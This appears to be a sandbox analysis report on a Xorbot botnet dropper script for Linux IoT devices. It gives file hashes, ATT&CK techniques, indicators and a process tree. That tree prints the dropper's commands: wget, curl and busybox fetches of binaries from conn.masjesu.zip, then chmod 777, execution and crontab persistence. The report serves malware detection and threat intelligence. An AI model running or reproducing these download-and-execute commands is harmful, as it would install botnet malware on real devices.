xorbot | 67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8

Analysis

max time kernel
96s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/01/2025, 20:14

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General

Target

8IR4B_bins.sh
Size

10KB
MD5

942d94d9683731e7c0e80fb1184455c6
SHA1

bcb4bc2b172dd258e1864c02f6e19b3a35b0d610
SHA256

67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8
SHA512

58c5eb1e3024d4d713047c5b02ace9a829c3161d260ca04e126f21e93e40fb990dbc3fd0b4235210b994411f852fac2dffe07daac1ab029f7b62f8c087fec9d0
SSDEEP

96:Y/T/v/UJJFSqhLzP4LRJLfh1hVhWxt3UDfUjgjcjf8cpaSzTv1koCLHbIi6loooE:nY1b7Wxt3uTJlEn3ncb7WxtiJlEn3Z

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (800) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
839	chmod
790	chmod
828	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	791	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	829	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
/tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc	840	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

Renames itself 1 IoCs

pid	Process
841	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YBiMM0	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/69/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/871/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/911/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/919/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/944/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/970/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/15/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/68/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/687/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/889/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/856/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/916/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/81/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/234/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/710/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/712/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/852/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/855/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/964/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/955/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/973/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/11/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/879/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/895/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/901/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/908/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/924/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/73/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/883/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/885/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/965/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/119/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/384/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/880/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/926/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/927/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/947/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/12/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/19/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/890/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/905/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/909/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/913/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/950/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/893/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/903/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/937/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/20/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/904/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/945/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/954/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/959/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/972/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/966/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/975/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/6/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/22/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/36/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/82/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/864/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
File opened for reading	/proc/925/cmdline	4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
789	busybox
801	curl
836	curl
838	busybox
720	wget
741	curl
794	wget
827	busybox
832	wget
850	wget

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	wget
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	curl
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	wget
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	curl
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	busybox
File opened for modification	/tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc	wget
File opened for modification	/tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc	curl

/tmp/8IR4B_bins.sh
/tmp/8IR4B_bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:717
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - System Network Configuration Discovery
  PID:789
- /bin/chmod
  chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  PID:793
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  ./uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  PID:831
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  ./4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:840
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:842
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:843
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:844
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:845
- /bin/rm
  rm 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
  2⤵
  - System Network Configuration Discovery
  PID:850

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.YBiMM0

Filesize
210B

MD5
5bebba68ed18f4c8c4f2e29b73790fe3

SHA1
4518f1c844d41af26f5ca14b47c656798b0bf076

SHA256
1c2d05c143751753c49a48e1f50c55732250f555a3fb5965af940092b7548593

SHA512
d315e6a09cd72477003d2efcfb9c616e20a6ae18a2c29ba37074670de426eaed06ead7c03e7e3968c21819b7a160096abcc371e88b140e707051c06f897caa70

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads